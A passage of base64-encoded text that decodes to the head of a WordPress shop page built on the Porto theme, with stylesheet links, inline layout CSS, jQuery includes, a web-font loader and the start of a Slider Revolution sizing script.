wLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2Nzcy9wbHVnaW5zLmNzcz92ZXI9Ni43LjInDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXRoZW1lLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2Nzcy90aGVtZS5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tc2hvcnRjb2Rlcy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvcG9ydG9fc3R5bGVzL3Nob3J0Y29kZXMuY3NzP3Zlcj02LjcuMicNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tdGhlbWUtc2hvcC1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWVfc2hvcC5jc3M/dmVyPTYuNy4yJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by10aGVtZS1lbGVtZW50b3ItY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWVfZWxlbWVudG9yLmNzcz92ZXI9Ni43LjInIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1keW5hbWljLXN0eWxlLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy9keW5hbWljX3N0eWxlLmNzcz92ZXI9Ni43LjInIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by10eXBlLWJ1aWxkZXItY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvcG9ydG8tZnVuY3Rpb25hbGl0eS9idWlsZGVycy9hc3NldHMvdHlwZS1idWlsZGVyLmNzcz92ZXI9Mi43LjInIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1hY2NvdW50LWxvZ2luLXN0eWxlLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lL3Nob3AvbG9naW4tc3R5bGUvYWNjb3VudC1sb2dpbi5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tc3Atc2tlbGV0b24tY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUvc2hvcC9zaW5nbGUtcHJvZHVjdC9za2VsZXRvbi5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tc3R5bGUtY3NzJyBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vc3R5bGUuY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPg0KICAgIDxzdHlsZSBpZD0ncG9ydG8tc3R5bGUtaW5saW5lLWNzcyc+DQogICAgICAgIC5zaWRlLWhlYWRlci1uYXJyb3ctYmFyLWxvZ28gew0KICAgICAgICAgICAgbWF4LXdpZHRoOiAxMTFweA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtaW4td2lkdGg6IDk5MnB4KSB7DQogICAgICAgIH0NCg0KICAgICAgICAucGFnZS10b3AgdWwuYnJlYWRjcnVtYiA+IGxpLmhvbWUgew0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrDQogICAgICAgIH0NCg0KICAgICAgICAucGFnZS10b3AgdWwuYnJlYWRjcnVtYiA+IGxpLmhvbWUgYSB7DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICB3aWR0aDogMTRweDsNCiAgICAgICAgICAgIHRleHQtaW5kZW50OiAtOTk5OXB4DQogICAgICAgIH0NCg0KICAgICAgICAucGFnZS10b3AgdWwuYnJlYWRjcnVtYiA+IGxpLmhvbWUgYTphZnRlciB7DQogICAgICAgICAgICBjb250ZW50OiAiXGU4ODMiOw0KICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdwb3J0byc7DQogICAgICAgICAgICBmbG9hdDogbGVmdDsNCiAgICAgICAgICAgIHRleHQtaW5kZW50OiAwDQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogMTUwMHB4KSB7DQogICAgICAgICAgICAubGVmdC1zaWRlYmFyLmNvbC1sZy0zLCAucmlnaHQtc2lkZWJhci5jb2wtbGctMyB7DQogICAgICAgICAgICAgICAgd2lkdGg6IDIwJQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAubWFpbi1jb250ZW50LmNvbC1sZy05IHsNCiAgICAgICAgICAgICAgICB3aWR0aDogODAlDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5tYWluLWNvbnRlbnQuY29sLWxnLTYgew0KICAgICAgICAgICAgICAgIHdpZHRoOiA2MCUNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIC5wcm9kdWN0LWltYWdlcyAuaW1nLXRodW1ibmFpbCAuaW5uZXIsIC5wcm9kdWN0LWltYWdlcyAuaW1nLXRodW1ibmFpbCAuaW5uZXIgaW1nIHsNCiAgICAgICAgICAgIC13ZWJraXQtdHJhbnNmb3JtOiBub25lOw0KICAgICAgICAgICAgdHJhbnNmb3JtOiBub25lDQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3Qgew0KICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOw0KICAgICAgICAgICAgdG9wOiAwOw0KICAgICAgICAgICAgbGVmdDogMDsNCiAgICAgICAgICAgIHdpZHRoOiAxMDAlOw0KICAgICAgICAgICAgei1pbmRleDogMTAwOw0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgM3B4IDVweCByZ2JhKDAsIDAsIDAsIDAuMDgpOw0KICAgICAgICAgICAgcGFkZGluZzogMTVweCAwDQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3QucG9zLWJvdHRvbSB7DQogICAgICAgICAgICB0b3A6IGF1dG87DQogICAgICAgICAgICBib3R0b206IDA7DQogICAgICAgICAgICBib3gtc2hhZG93OiAwIC0zcHggNXB4IHJnYmEoMCwgMCwgMCwgMC4wOCkNCiAgICAgICAgfQ0KDQogICAgICAgIC5zdGlja3ktcHJvZHVjdCAuY29udGFpbmVyIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IC1tcy1mbGV4Ym94Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIC1tcy1mbGV4LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgLW1zLWZsZXgtd3JhcDogd3JhcDsNCiAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcA0KICAgICAgICB9DQoNCiAgICAgICAgLnN0aWNreS1wcm9kdWN0IC5zdGlja3ktaW1hZ2Ugew0KICAgICAgICAgICAgbWF4LXdpZHRoOiA2MHB4Ow0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAxNXB4DQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3QgLmFkZC10by1jYXJ0IHsNCiAgICAgICAgICAgIC1tcy1mbGV4OiAxOw0KICAgICAgICAgICAgZmxleDogMTsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IHJpZ2h0Ow0KICAgICAgICAgICAgbWFyZ2luLXRvcDogNXB4DQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3QgLnByb2R1Y3QtbmFtZSB7DQogICAgICAgICAgICBmb250LXNpemU6IDE2cHg7DQogICAgICAgICAgICBmb250LXdlaWdodDogNjAwOw0KICAgICAgICAgICAgbGluZS1oZWlnaHQ6IGluaGVyaXQ7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwDQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3QgLnN0aWNreS1kZXRhaWwgew0KICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNTsNCiAgICAgICAgICAgIGRpc3BsYXk6IC1tcy1mbGV4Ym94Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleA0KICAgICAgICB9DQoNCiAgICAgICAgLnN0aWNreS1wcm9kdWN0IC5zdGFyLXJhdGluZyB7DQogICAgICAgICAgICBtYXJnaW46IDVweCAxNXB4Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5zdGlja3ktcHJvZHVjdCAuYXZhaWxhYmlsaXR5IHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAycHgNCiAgICAgICAgfQ0KDQogICAgICAgIC5zdGlja3ktcHJvZHVjdCAuc3RpY2t5LWRldGFpbCAucHJpY2Ugew0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IFBvcHBpbnMsIFBvcHBpbnMsIHNhbnMtc2VyaWY7DQogICAgICAgICAgICBmb250LXdlaWdodDogNDAwOw0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zZW07DQogICAgICAgICAgICBsaW5lLWhlaWdodDogMS41DQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogOTkycHgpIHsNCiAgICAgICAgICAgIC5zdGlja3ktcHJvZHVjdCAuY29udGFpbmVyIHsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IHZhcigtLXBvcnRvLWdyaWQtZ3V0dGVyLXdpZHRoKTsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiB2YXIoLS1wb3J0by1ncmlkLWd1dHRlci13aWR0aCkNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjdweCkgew0KICAgICAgICAgICAgLnN0aWNreS1wcm9kdWN0IHsNCiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAuY3VzdG9tLWZvbnQ0LCAuY3VzdG9tLWZvbnQ0IC5lbGVtZW50b3ItaGVhZGluZy10aXRsZSB7DQogICAgICAgICAgICBmb250LWZhbWlseTogJ1NlZ29lIFNjcmlwdCcsICdTYXZveWUgTEVUJw0KICAgICAgICB9DQoNCiAgICAgICAgLndvb2NvbW1lcmNlLmFyY2hpdmUgLmNvbHVtbjEgLm1haW4tY29udGVudCB7DQogICAgICAgICAgICBwYWRkaW5nLXRvcDogMA0KICAgICAgICB9DQoNCiAgICAgICAgLnBhZ2Utd3JhcHBlciB7DQogICAgICAgICAgICBtaW4taGVpZ2h0OiAxMDB2aA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtaW4td2lkdGg6IDE0NDBweCkgew0KICAgICAgICAgICAgLmNvbnRhaW5lci1mbHVpZCwgYm9keS53aWRlIC5jb250YWluZXI6bm90KC5pbm5lci1jb250YWluZXIpIHsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDQwcHg7DQogICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogNDBweA0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuY29udGFpbmVyLWZsdWlkIC5lbGVtZW50b3ItdG9wLXNlY3Rpb24gew0KICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAtNDBweDsNCiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IC00MHB4Ow0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogNDBweDsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiA0MHB4DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5jb250YWluZXItZmx1aWQgLmVsZW1lbnRvci10b3Atc2VjdGlvbi5lbGVtZW50b3Itc2VjdGlvbi1mdWxsX3dpZHRoID4gLmVsZW1lbnRvci1jb2x1bW4tZ2FwLW5vIHsNCiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogMDsNCiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDA7DQogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCUNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLnB4LXNsLTAgew0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMCAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDAgIWltcG9ydGFudA0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgLnZpZXctc3dpdGNoZXIgbGkubWVudS1pdGVtID4gYSA+IFtjbGFzcyo9J2ZsYWctJ10gew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgI2hlYWRlciAucG9ydG8tdmlldy1zd2l0Y2hlciA+IGxpLm1lbnUtaXRlbSA+IGEgew0KICAgICAgICAgICAgZm9udC1zaXplOiAuNjI1cmVtOw0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMA0KICAgICAgICB9DQoNCiAgICAgICAgLmhlYWRlci1zaWRlLW5hdiAuc2lkZWJhci1tZW51ID4gbGkubWVudS1pdGVtID4gLmFycm93OmJlZm9yZSB7DQogICAgICAgICAgICBvcGFjaXR5OiAuNA0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLXByb2R1Y3RzLWZpbHRlci1ib2R5IC5zaWRlYmFyIHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAwDQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogOTkycHgpIHsNCiAgICAgICAgICAgICNoZWFkZXIgLnNlYXJjaGZvcm0gew0KICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJlbQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuaGVhZGVyLXdyYXBwZXIgI2hlYWRlciAuc2VhcmNoZm9ybSBidXR0b24gew0KICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDEycHgNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLmhlYWRlci13cmFwcGVyICNoZWFkZXIgLnNlYXJjaGZvcm0gaW5wdXQgew0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMTVweDsNCiAgICAgICAgICAgICAgICB3aWR0aDogYXV0bw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAjaGVhZGVyIC5oZWFkZXItY29udGFjdCB7DQogICAgICAgICAgICAgICAgZmxleDogMCAwIGF1dG87DQogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7DQogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjEyNXJlbTsNCiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNzAwOw0KICAgICAgICAgICAgICAgIG9yZGVyOiAwDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAjaGVhZGVyIC5zaGFyZS1saW5rcyBhIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAuNXJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogLjVyZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5oZWFkZXItc2lkZS1uYXYgLnNpZGViYXItbWVudSB7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwOw0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAtMjBweA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDE0MzlweCkgew0KICAgICAgICAgICAgLmhlYWRlci1zaWRlLW5hdiAuc2lkZWJhci1tZW51ID4gbGkubWVudS1pdGVtID4gYSwgLnRvZ2dsZS1tZW51LXdyYXAgLnNpZGViYXItbWVudSA+IGxpLm1lbnUtaXRlbSA+IGEgew0KICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxN3B4DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAuc2VjdGlvbi10aXRsZSB7DQogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogLjVyZW07DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2U3ZTdlNzsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgLmJ0biB7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGluczsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDANCiAgICAgICAgfQ0KDQogICAgICAgIC5idG4tZmxhdCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBib3JkZXI6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudA0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLWliYW5uZXItbGF5ZXIgLmJ0bi1mbGF0LmJ0bi14bCB7DQogICAgICAgICAgICBmb250LXNpemU6IDEuMTI1ZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5vd2wtY2Fyb3VzZWwubmF2LXN0eWxlLTQgLm93bC1uYXYgW2NsYXNzKj0ib3dsLSJdIHsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDANCiAgICAgICAgfQ0KDQogICAgICAgIC5zaW5nbGUtcHJvZHVjdCAucHJvZHVjdC1sYXlvdXQtdHJhbnNwYXJlbnQgew0KICAgICAgICAgICAgbWFyZ2luLXRvcDogLTIwcHgNCiAgICAgICAgfQ0KDQogICAgICAgIHVsLnByb2R1Y3RzIGxpLnByb2R1Y3Qtb25pbWFnZTMgLnByb2R1Y3QtY29udGVudCB7DQogICAgICAgICAgICBvcGFjaXR5OiAxOw0KICAgICAgICAgICAgYm90dG9tOiAwDQogICAgICAgIH0NCg0KICAgICAgICAucGFnaW5hdGlvbi5sb2FkLW1vcmUgLm5leHQgew0KICAgICAgICAgICAgd2lkdGg6IGF1dG87DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDAwOw0KICAgICAgICAgICAgY29sb3I6ICNmZmY7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGluczsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE0cHggNDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLmNvdXBvbi1zYWxlLXRleHQgYiB7DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICBjb2xvcjogI2ZmZjsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMWVtDQogICAgICAgIH0NCg0KICAgICAgICAuY291cG9uLXNhbGUtdGV4dCBiOmJlZm9yZSB7DQogICAgICAgICAgICBjb250ZW50OiAnJzsNCiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICAgICAgICAgIGxlZnQ6IC0uNWVtOw0KICAgICAgICAgICAgdG9wOiAtLjFlbTsNCiAgICAgICAgICAgIHJpZ2h0OiAtLjVlbTsNCiAgICAgICAgICAgIGJvdHRvbTogLS4xZW07DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjIyNTI5Ow0KICAgICAgICAgICAgei1pbmRleDogLTE7DQogICAgICAgICAgICB0cmFuc2Zvcm06IHJvdGF0ZSgtMS41ZGVnKSBza2V3KDEuNWRlZykNCiAgICAgICAgfQ0KDQogICAgICAgIC5zaW5nbGUtcHJvZHVjdCAucHJvZHVjdF90aXRsZSB7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGlucw0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLXJlbGF0ZWQtcHJvZHVjdHMgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogbm9uZTsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAwDQogICAgICAgIH0NCg0KICAgICAgICAjY29udGVudC1ib3R0b20gKyAucG9ydG8tcmVsYXRlZC1wcm9kdWN0cyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjRmNGY0Ow0KICAgICAgICAgICAgcGFkZGluZy10b3A6IDQwcHgNCiAgICAgICAgfQ0KDQogICAgICAgIC50eXBlLXByb2R1Y3QgPiAucG9ydG8tcmVsYXRlZC1wcm9kdWN0cyB7DQogICAgICAgICAgICBwYWRkaW5nLXRvcDogNDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLmZvb3Rlci10b3Agew0KICAgICAgICAgICAgcGFkZGluZzogMA0KICAgICAgICB9DQoNCiAgICAgICAgLmZvb3Rlci10b3AgLnBvcnRvLWJsb2NrIHsNCiAgICAgICAgICAgIGJvcmRlci13aWR0aDogMXB4IDA7DQogICAgICAgICAgICBib3JkZXItc3R5bGU6IHNvbGlkOw0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjZTdlN2U3DQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC53aWRnZXQtdGl0bGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxNXB4Ow0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMA0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuc2hhcmUtbGlua3MgYSB7DQogICAgICAgICAgICBib3gtc2hhZG93OiBub25lOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICAgICAgd2lkdGg6IDM2cHg7DQogICAgICAgICAgICBoZWlnaHQ6IDM2cHg7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxOHB4DQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5jb250YWN0LWluZm8gaSB7DQogICAgICAgICAgICBkaXNwbGF5OiBub25lDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5jb250YWN0LWluZm8gLmNvbnRhY3QtZGV0YWlscyBzdHJvbmcsICNmb290ZXIgLmNvbnRhY3QtaW5mbyAuY29udGFjdC1kZXRhaWxzIHNwYW4gew0KICAgICAgICAgICAgcGFkZGluZzogMA0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuY29udGFjdC1pbmZvIC5jb250YWN0LWRldGFpbHMgc3Ryb25nIHsNCiAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7DQogICAgICAgICAgICBsaW5lLWhlaWdodDogMQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuZm9vdGVyLW1haW4gPiAuY29udGFpbmVyIHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAyLjI1cmVtOw0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDANCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLmZvb3Rlci1tYWluID4gLmNvbnRhaW5lcjphZnRlciB7DQogICAgICAgICAgICBjb250ZW50OiAnJzsNCiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOw0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNlN2U3ZTcNCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLndpZGdldF93eXNpamFfY29udCAud3lzaWphLWlucHV0IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmNGY0ZjQ7DQogICAgICAgICAgICBmb250LXNpemU6IC44MTI1cmVtOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMnJlbSAwIDAgMnJlbTsNCiAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMS4yNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAud2lkZ2V0X3d5c2lqYV9jb250IC53eXNpamEtc3VibWl0IHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogLjgxMjVyZW07DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwOw0KICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDAgMnJlbSAycmVtIDA7DQogICAgICAgICAgICBwYWRkaW5nOiAwIDEuNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuZm9vdGVyLWJvdHRvbSB7DQogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogM3JlbTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweA0KICAgICAgICB9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0IHNyYz0nL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnkubWluLmpzP3Zlcj0zLjYuMScgaWQ9J2pxdWVyeS1jb3JlLWpzJz48L3NjcmlwdD4NCiAgICA8c2NyaXB0IHNyYz0nL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnktbWlncmF0ZS5taW4uanM/dmVyPTMuMy4yJyBpZD0nanF1ZXJ5LW1pZ3JhdGUtanMnPjwvc2NyaXB0Pg0KDQogICAgPCEtLSBIdWJTcG90IFdvcmRQcmVzcyBQbHVnaW4gdjEwLjAuMTk6IGVtYmVkIEpTIGRpc2FibGVkIGFzIGEgcG9ydGFsSWQgaGFzIG5vdCB5ZXQgYmVlbiBjb25maWd1cmVkIC0tPg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAgICAgV2ViRm9udENvbmZpZyA9IHsNCiAgICAgICAgICAgIGdvb2dsZToge2ZhbWlsaWVzOiBbJ1BvcHBpbnM6NDAwLDUwMCw2MDAsNzAwLDgwMCcsICdQbGF5ZmFpcitEaXNwbGF5OjQwMCw3MDAnXX0NCiAgICAgICAgfTsNCiAgICAgICAgKGZ1bmN0aW9uIChkKSB7DQogICAgICAgICAgICB2YXIgd2YgPSBkLmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpLCBzID0gZC5zY3JpcHRzW2Quc2NyaXB0cy5sZW5ndGggLSAxXTsNCiAgICAgICAgICAgIHdmLnNyYyA9ICd7e3ByZWZpeH19L3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL2xpYnMvd2ViZm9udC5qcyc7DQogICAgICAgICAgICB3Zi5hc3luYyA9IHRydWU7DQogICAgICAgICAgICBzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKHdmLCBzKTsNCiAgICAgICAgfSkoZG9jdW1lbnQpOzwvc2NyaXB0Pg0KICAgIDxub3NjcmlwdD4NCiAgICAgICAgPHN0eWxlPi53b29jb21tZXJjZS1wcm9kdWN0LWdhbGxlcnkgew0KICAgICAgICAgICAgb3BhY2l0eTogMSAhaW1wb3J0YW50Ow0KICAgICAgICB9PC9zdHlsZT4NCiAgICA8L25vc2NyaXB0Pg0KICAgIDxtZXRhIG5hbWU9ImdlbmVyYXRvciINCiAgICAgICAgICBjb250ZW50PSJQb3dlcmVkIGJ5IFNsaWRlciBSZXZvbHV0aW9uIDYuNS4yMCAtIHJlc3BvbnNpdmUsIE1vYmlsZS1GcmllbmRseSBTbGlkZXIgUGx1Z2luIGZvciBXb3JkUHJlc3Mgd2l0aCBjb21mb3J0YWJsZSBkcmFnIGFuZCBkcm9wIGludGVyZmFjZS4iLz4NCiAgICA8c2NyaXB0PmZ1bmN0aW9uIHNldFJFVlN0YXJ0U2l6ZShlKSB7DQogICAgICAgIC8vd2luZG93LnJlcXVlc3RBbmltYXRpb25GcmFtZShmdW5jdGlvbigpIHsNCiAgICAgICAgd2luZG93LlJTSVcgPSB3aW5kb3cuUlNJVyA9PT0gdW5kZWZpbmVkID8gd2luZG93LmlubmVyV2lkdGggOiB3aW5kb3cuUlNJVzsNCiAgICAgICAgd2luZG93LlJTSUggPSB3aW5kb3cuUlNJSCA9PT0gdW5kZWZpbmVkID8gd2luZG93LmlubmVySGVpZ2h0IDogd2luZG93LlJTSUg7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICB2YXIgcHcgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlLmMpLnBhcmVudE5vZGUub2Zmc2V0V2lkdGgsDQogICAgICAgICAgICAgICAgbmV3aDsNCiAgICAgICAgICAgIHB3ID0gcHcgPT09IDAgfHwgaXNOYU4ocHcpID8gd2luZG93LlJTSVcgO